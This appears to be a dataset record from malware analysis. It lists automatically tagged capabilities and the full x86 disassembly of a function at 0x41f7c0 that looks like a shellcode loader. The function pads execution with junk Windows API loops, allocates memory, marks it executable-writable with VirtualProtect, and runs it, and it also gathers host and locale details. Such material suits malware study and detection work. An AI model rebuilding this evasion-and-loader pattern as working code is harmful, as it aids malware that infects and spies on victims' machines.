Function at 0x41f7c0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create mailslot
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read pipe
Set current directory
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x426796
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x25a0
call fcn.0040d3e0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [sym.imp.GDI32.dll_SetBkColor]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e330
jge 0x41f80e
call ebx
push edi
push edi
call ebp
cmp esi, 0x1e9a5eb2
jle 0x41f82a
cmp dword [esp + 0x10], 0xbf2068
je 0x41f82a
cmp dword [esp + 0x34], 0x926a1a8
jne 0x41f833
inc esi
cmp esi, 0x98a0a
jl 0x41f800
cmp dword [0x259027c], 0xcf8
jne 0x41f939
push edi
push edi
push edi
call fcn.00404df6
add esp, 0xc
push 0x403328
push edi
call fcn.00404df6
push edi
push edi
push edi
push edi
call fcn.00404d9e
push edi
call fcn.00404dbb
add esp, 0x1c
push edi
push edi
call fcn.0040484c
push edi
call fcn.00404deb
add esp, 0xc
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x25bc], edi
xor eax, eax
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], edi
mov byte [esp + 0x28], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41f8a4
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x41f8be
push 0x403678
call fcn.004047ab
cmp esi, 0xf
jbe 0x41f8d1
push edi
push esi
lea eax, [esp + 0x30]
push eax
call fcn.00404590
jmp 0x41f8de
cmp esi, edi
jne 0x41f8e0
mov dword [esp + 0x38], edi
mov byte [esp + 0x28], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x41f91b
mov eax, dword [esp + 0x28]
cmp dword [esp + 0x3c], ebx
jae 0x41f8fa
lea eax, [esp + 0x28]
push esi
push edi
push eax
call fcn.00409640
mov eax, dword [esp + 0x34]
add esp, 0xc
mov dword [esp + 0x38], esi
cmp dword [esp + 0x3c], ebx
jae 0x41f917
lea eax, [esp + 0x28]
mov byte [eax + esi], 0
cmp dword [esp + 0x3c], ebx
jb 0x41f92e
mov ecx, dword [esp + 0x28]
push ecx
call fcn.00404eb3
add esp, 4
call fcn.00404819
push edi
call fcn.0040523f
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileType]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x408
jne 0x41f963
mov eax, 0x5d1
add dword [0x259027c], eax
cmp dword [0x259027c], 3
jne 0x41f980
push 0
call edi
push 0
call ebx
push 0
lea edx, [esp + 0x5b4]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x41f950
mov eax, dword [0x259027c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x44600c], eax
mov eax, dword [0x259027c]
xor esi, esi
test eax, eax
je 0x41f9f6
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, dword [sym.imp.KERNEL32.dll_GetStringTypeW]
lea esp, [esp]
cmp eax, 0xfe
jne 0x41f9cd
push 0
call ebx
call ebp
call fcn.0041f490
mov eax, dword [0x259027c]
cmp eax, 0x29
jne 0x41f9f1
lea ecx, [esp + 0x10]
push ecx
push 0
push 0x403338
push 0
call edi
mov eax, dword [0x259027c]
inc esi
cmp esi, eax
jb 0x41f9c0
cmp eax, 0x70
jne 0x41fb17
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
mov esi, dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
mov edi, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateMailslotA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov dword [esp + 0x10], 0x9682ab
cmp eax, 3
jne 0x41fb67
push 0
lea eax, [esp + 0x70]
push eax
push 0
lea ecx, [esp + 0x1bc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea edx, [esp + 0x70]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x259027c]
cmp eax, 0xdf
jne 0x41fc69
push 0
call esi
push 0
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x4034f4
call ebp
push 0x403518
push 0
push 0
call ebx
lea eax, [esp + 0x68]
push eax
push 0x40356c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x403594
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea ecx, [esp + 0x64]
push ecx
push 0
lea edx, [esp + 0x1b8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
lea ecx, [esp + 0x9b4]
push ecx
push 0x4035b8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x1db4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea ecx, [esp + 0x30]
push 0
push ecx
mov dword [esp + 0x34], 0
call fcn.004095c0
add esp, 0xc
push 0
lea edx, [esp + 0x2c]
push edx
push 0x403668
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov eax, dword [0x259027c]
dec dword [esp + 0x10]
jne 0x41fb37
mov esi, dword [sym.imp.USER32.dll_CharUpperW]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
lea ebx, [ebx]
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x41fc90
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x259027c], 0x222
jne 0x41fcc0
push 0
call esi
dec edi
jne 0x41fcb0
mov ecx, dword [0x259027c]
mov edx, dword [0x44600c]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
mov byte [0x441278], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0041f770
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
mov ebx, 0xba
cmp dword [0x259027c], ebx
jne 0x41fd0f
lea eax, [esp + 0x14]
push eax
push 0
lea ecx, [esp + 0x30]
push ecx
push 0
call edi
cmp esi, 0x2f64
jne 0x41fd21
add dword [0x44600c], 0x4b35
inc esi
cmp esi, 0x1605a
jl 0x41fcf7
call fcn.0041f710
cmp dword [0x259027c], 0xc30
jne 0x41fdf4
lea edx, [esp + 0x1b0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [esp + 0x70]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
lea edx, [esp + 0x11bc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea eax, [esp + 0x9b4]
push eax
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x74]
push edx
lea eax, [esp + 0x7c]
push eax
lea ecx, [esp + 0x24]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push 0x30
lea edx, [esp + 0x30]
push 0
push edx
mov dword [esp + 0x34], 0
call fcn.004095c0
mov eax, dword [esp + 0x20]
add esp, 0xc
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
mov ecx, dword [esp + 0x25b4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret